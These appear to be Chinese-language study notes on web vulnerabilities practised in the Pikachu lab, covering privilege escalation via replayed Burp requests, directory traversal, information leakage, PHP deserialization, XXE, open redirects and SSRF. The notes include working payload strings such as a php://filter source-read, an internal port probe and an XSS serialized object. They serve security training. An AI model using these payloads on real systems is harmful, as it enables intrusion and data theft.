3.9.1越權(quán)漏洞原理及水平越權(quán)

越權(quán)漏洞概述
由于沒有用戶權(quán)限進(jìn)行嚴(yán)格的判斷,導(dǎo)致低權(quán)限的賬號(比如普通用戶)可以去完成高權(quán)限賬號( 比如超級管理員)范圍內(nèi)的操作。
平行越權(quán): A用戶和B用戶屬于同一級別用戶,但各自不能操作對方個人信息, A用戶如果越權(quán)操作B用戶的個人信息的情況稱為平行越權(quán)操作
垂直越權(quán)。A用戶權(quán)限高于B用戶 , B用戶越權(quán)操作A用戶的權(quán)限的情況稱為垂直越權(quán)。
越權(quán)漏洞屬于邏輯漏洞,是由于權(quán)限校驗的邏輯不夠嚴(yán)謹(jǐn)導(dǎo)致。
每個應(yīng)用系統(tǒng)其用戶對應(yīng)的權(quán)限是根據(jù)其業(yè)務(wù)功能劃分的,而每個企業(yè)的業(yè)務(wù)又都是不一樣的。
因此越權(quán)漏洞很難通過掃描工具發(fā)現(xiàn)出來,往往需要通過手動進(jìn)行測試。

平行越權(quán),先進(jìn)行登錄,提示里查看賬號密碼。有一個功能點擊查看個人信息。


再點擊按鈕時,向后臺提供了一個get請求。提供了當(dāng)前用戶的用戶名,然后后臺將其信息返回到前臺。我們在url中把Lucy改成其他人看看能不能查到信息。

雖然登錄的是Lucy的賬號但是返回了lili的信。

3.9.2垂直越權(quán)

先登錄超級管理員,去執(zhí)行只有管理員才可以操作的新增賬號的功能,用burp抓包。退出登錄。登錄普通用戶,執(zhí)行新增賬號操作。如果成功,則存在垂直越權(quán)漏洞。
登錄管理員。


添加用戶。

burp進(jìn)行抓包并發(fā)送到repeater中。

退出登錄,在repeater中執(zhí)行。返回登錄界面,要求登錄。

重新登錄管理員,查看是否添加成功。

只有一個666,添加失敗。退出登錄,登錄普通用戶。

刷新頁面,在burp獲取頁面。

cookie就是普通用戶的登錄態(tài)。Cookie: PHPSESSID=vfh1qvv694tj1dppt3bamvnhf1
然后找到之前添加用戶的post請求,發(fā)送到repeater。

目前的管理員登錄態(tài)是退出的,現(xiàn)在我們把這個登錄態(tài)換成現(xiàn)在登錄的普通用戶的登錄態(tài)。以普通用戶的身份執(zhí)行管理員操作。點擊執(zhí)行。返回pikachu,刷新頁面。

又出現(xiàn)了一個666用戶,說明存在垂直越權(quán)漏洞。

3.10 …/…/…/(目錄遍歷)

目錄遍歷漏洞概述
在web功能設(shè)計中,很多時候我們會要將需要訪問的文件定義成變量,從而讓前端的功能便的更加靈活。 當(dāng)用戶發(fā)起一個前端的請求時,便會將請求的這個文件的值(比如文件名稱)傳遞到后臺,后臺再執(zhí)行其對應(yīng)的文件。 在這個過程中,如果后臺沒有對前端傳進(jìn)來的值進(jìn)行嚴(yán)格的安全考慮,則攻擊者可能會通過“…/”這樣的手段讓后臺打開或者執(zhí)行一些其他的文件。 從而導(dǎo)致后臺服務(wù)器上其他目錄的文件結(jié)果被遍歷出來,形成目錄遍歷漏洞。
看到這里,你可能會覺得目錄遍歷漏洞和不安全的文件下載,甚至文件包含漏洞有差不多的意思,是的,目錄遍歷漏洞形成的最主要的原因跟這兩者一樣,都是在功能設(shè)計中將要操作的文件使用變量的 方式傳遞給了后臺,而又沒有進(jìn)行嚴(yán)格的安全考慮而造成的,只是出現(xiàn)的位置所展現(xiàn)的現(xiàn)象不一樣,因此,這里還是單獨拿出來定義一下。
需要區(qū)分一下的是,如果你通過不帶參數(shù)的url(比如:http://xxxx/doc)列出了doc文件夾里面所有的文件,這種情況,我們成為敏感信息泄露。 而并不歸為目錄遍歷漏洞。(關(guān)于敏感信息泄露你你可以在'i can see you ABC'中了解更多)
我們點擊超鏈接


實際上是向后臺發(fā)送了一個文件名。我們可以修改文件名。修改成…/dir.php上級目錄下的dir.php,可以發(fā)揮想象訪問更多內(nèi)容。

3.11 I can see your ABC(敏感信息泄露)

由于后臺人員的疏忽或者不當(dāng)?shù)脑O(shè)計,導(dǎo)致不應(yīng)該被前端用戶看到的數(shù)據(jù)被輕易的訪問到。 比如:
---通過訪問url下的目錄,可以直接列出目錄下的文件列表;
---輸入錯誤的url參數(shù)后報錯信息里面包含操作系統(tǒng)、中間件、開發(fā)語言的版本或其他信息;
---前端的源碼(html,css,js)里面包含了敏感信息,比如后臺登錄地址、內(nèi)網(wǎng)接口信息、甚至賬號密碼等;
類似以上這些情況,我們成為敏感信息泄露。敏感信息泄露雖然一直被評為危害比較低的漏洞,但這些敏感信息往往給攻擊著實施進(jìn)一步的攻擊提供很大的幫助,甚至“離譜”的敏感信息泄露也會直接造成嚴(yán)重的損失。 因此,在web應(yīng)用的開發(fā)上,除了要進(jìn)行安全的代碼編寫,也需要注意對敏感信息的合理處理。 
我們打開源碼搜索得到測試賬號。


也可直接輸入url,進(jìn)入。

3.12 PHP反序列化漏洞

在理解這個漏洞前,你需要先搞清楚php中serialize(),unserialize()這兩個函數(shù)。
序列化serialize()
序列化說通俗點就是把一個對象變成可以傳輸?shù)淖址?比如下面是一個對象:


反序列化unserialize()就是把被序列化的字符串還原為對象,然后在接下來的代碼中繼續(xù)使用。

 $u=unserialize('O:1:'S':1:{s:4:'test';s:7:'pikachu';}');
    echo $u->test; //得到的結(jié)果為pikachu
    

序列化和反序列化本身沒有問題,但是如果反序列化的內(nèi)容是用戶可以控制的,且后臺不正當(dāng)?shù)氖褂昧薖HP中的魔法函數(shù),就會導(dǎo)致安全問題

常見的幾個魔法函數(shù):
__construct()當(dāng)一個對象創(chuàng)建時被調(diào)用
__destruct()當(dāng)一個對象銷毀時被調(diào)用
__toString()當(dāng)一個對象被當(dāng)作一個字符串使用
__sleep() 在對象在被序列化之前運(yùn)行
__wakeup將在序列化之后立即被調(diào)用

 漏洞舉例:
 class S{
        var $test = 'pikachu';
        function __destruct(){
            echo $this->test;
        }
    }
    $s = $_GET['test'];
    @$unser = unserialize($a);

    payload:O:1:'S':1:{s:4:'test';s:29:'<script>alert('xss')</script>';}

隨意輸入一串字符,都會提示一句話。



通過該代碼將class a序列化為

O:1:'s':1:{s:4:'test';s:30:'<script>alert('fxlh')</script>';}

然后將該序列化后的類傳入后臺,后臺接受后就會將接受到的類進(jìn)行反序列化,在后面接著使用。


在將序列化后的類執(zhí)行時,可能會調(diào)用相應(yīng)的構(gòu)造方法,通過這些構(gòu)造方法,就會對反序列化的代碼執(zhí)行,造成一些不可預(yù)計的后果。但是在實際情況中,我們往往需要構(gòu)造多種payload,來測試出后臺往往是使用哪種構(gòu)造方法,并使用。

3.13 XXE(XML外部實體攻擊)

XXE -“xml external entity injection”
既'xml外部實體注入漏洞'。
概括一下就是'攻擊者通過向服務(wù)器注入指定的xml實體內(nèi)容,從而讓服務(wù)器按照指定的配置進(jìn)行執(zhí)行,導(dǎo)致問題'
也就是說服務(wù)端接收和解析了來自用戶端的xml數(shù)據(jù),而又沒有做嚴(yán)格的安全控制,從而導(dǎo)致xml外部實體注入。
xml:

<!--第一部分: XML聲明-- >
<?xml version='1.0'?>
<!--第二部分:文檔類型定義DTID- >
<!DOCTYPE note[ <!--定義此文檔是 note類型的文檔--> 
<!ENTITY entity - name SYSTEM 'URL/URL'> <!- 外部實體聲 明-->
]]>
<1--第三部分:文檔元>
<note>
<to>Dave</to>
<from> Tom</from>
<head> Reminder </head>
<body>You are a good man</body>
</note>

DTD:Document Type Definition即文檔類型定義,用來為XML文檔定義語義約束。

1.DTD內(nèi)部聲明
<!DOCTYPE 根元素[元素聲明]>
2. DTD外部引用
<!DOCTYPE根元素名稱SYSTEM “'外部DTD的URI' >
3.引用公共DTD
<!DOCTYPE根元素名稱PUBLIC 'DTD標(biāo)識名” “公用DTD的URI” >

如果一個接口支持接收xml數(shù)據(jù),且沒有對xml數(shù)據(jù)做任何安全上的措施,就可
能導(dǎo)致XXE漏洞。
simplexml load string()函數(shù)轉(zhuǎn)換形式良好的XML字符串為SimpleXMLElement對象
XXE漏洞發(fā)生在應(yīng)用程序解析XML輸入時,沒有禁止外部實體的加載,導(dǎo)致攻擊者可以構(gòu)造一個惡意的XML。
我們輸入

<?xml version = '1.0'?> 
<!DOCTYPE note [     <!ENTITY hacker 'xxe'> ]> 
<name>&hacker;</name>

3.14 不安全的URL重定向

不安全的url跳轉(zhuǎn)問題可能發(fā)生在一切執(zhí)行了url地址跳轉(zhuǎn)的地方。
如果后端采用了前端傳進(jìn)來的(可能是用戶傳參,或者之前預(yù)埋在前端頁面的url地址)參數(shù)作為了跳轉(zhuǎn)的目的地,而又沒有做判斷的話
就可能發(fā)生'跳錯對象'的問題。

url跳轉(zhuǎn)比較直接的危害是:
–>釣魚,既攻擊者使用漏洞方的域名(比如一個比較出名的公司域名往往會讓用戶放心的點擊)做掩蓋,而最終跳轉(zhuǎn)的確實釣魚網(wǎng)站

這個漏洞比較簡單,come on,來測一把!
看到有一些超鏈接,我們都點一遍可以發(fā)現(xiàn),最后一個好像有個url的值,我們修改成https://www.baidu.com/,可以發(fā)現(xiàn)它跳轉(zhuǎn)成https://www.baidu.com/頁面了



熟練后可以的定向轉(zhuǎn)到提前搭建好的惡意站點。

3.15 SSRF(服務(wù)器端請求偽造)

SSRF(Server-Side Request Forgery:服務(wù)器端請求偽造)

其形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能,但又沒有對目標(biāo)地址做嚴(yán)格過濾與限制
導(dǎo)致攻擊者可以傳入任意的地址來讓后端服務(wù)器對其發(fā)起請求,并返回對該目標(biāo)地址請求的數(shù)據(jù)

數(shù)據(jù)流:攻擊者----->服務(wù)器---->目標(biāo)地址

根據(jù)后臺使用的函數(shù)的不同,對應(yīng)的影響和利用方法又有不一樣

PHP中下面函數(shù)的使用不當(dāng)會導(dǎo)致SSRF:
file_get_contents()
fsockopen()
curl_exec()

如果一定要通過后臺服務(wù)器遠(yuǎn)程去對用戶指定(“或者預(yù)埋在前端的請求”)的地址進(jìn)行資源請求,則請做好目標(biāo)地址的過濾。

打開ssrf(curl),點擊a標(biāo)簽,顯示一首詩。



看到這個url沒有,估計就是這個url導(dǎo)致的跳轉(zhuǎn),我們輸入https://www.baidu.com可以發(fā)現(xiàn)百度過來了

打開ssrf(file_get_content),反正都讀了,那就在來一首吧。

同樣可以修改成百度。

讀取PHP文件的源碼:php://filter/read=convert.base64-encode/resource=ssrf.php

編碼形式轉(zhuǎn)換即可。
內(nèi)網(wǎng)請求:http://x.x.x.x/xx.index
eg:
payload:http://127.0.0.1:22(探測這臺主機(jī)內(nèi)網(wǎng)的這臺主句的22端口是否開啟)

參考資料

Web安全從入門到放棄:https://www.ichunqiu.com/course/63838
皮卡丘靶場:https://github.com/zhuifengshaonianhanlu/pikachu
w3school HTML DOM:https://www.w3school.com.cn/js/js_htmldom.asp

本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊舉報。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
開源PHPCMS的0day漏洞挖掘及防范筆記
Java代碼審計
滲透測試面試問題2019版,內(nèi)含大量滲透技巧
PHP代碼審計基礎(chǔ)-中級篇
AJAX 三連問,你能頂住么?
項目中必須對應(yīng)的隱性需求-安全漏洞修復(fù)
更多類似文章 >>
生活服務(wù)
熱點新聞
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服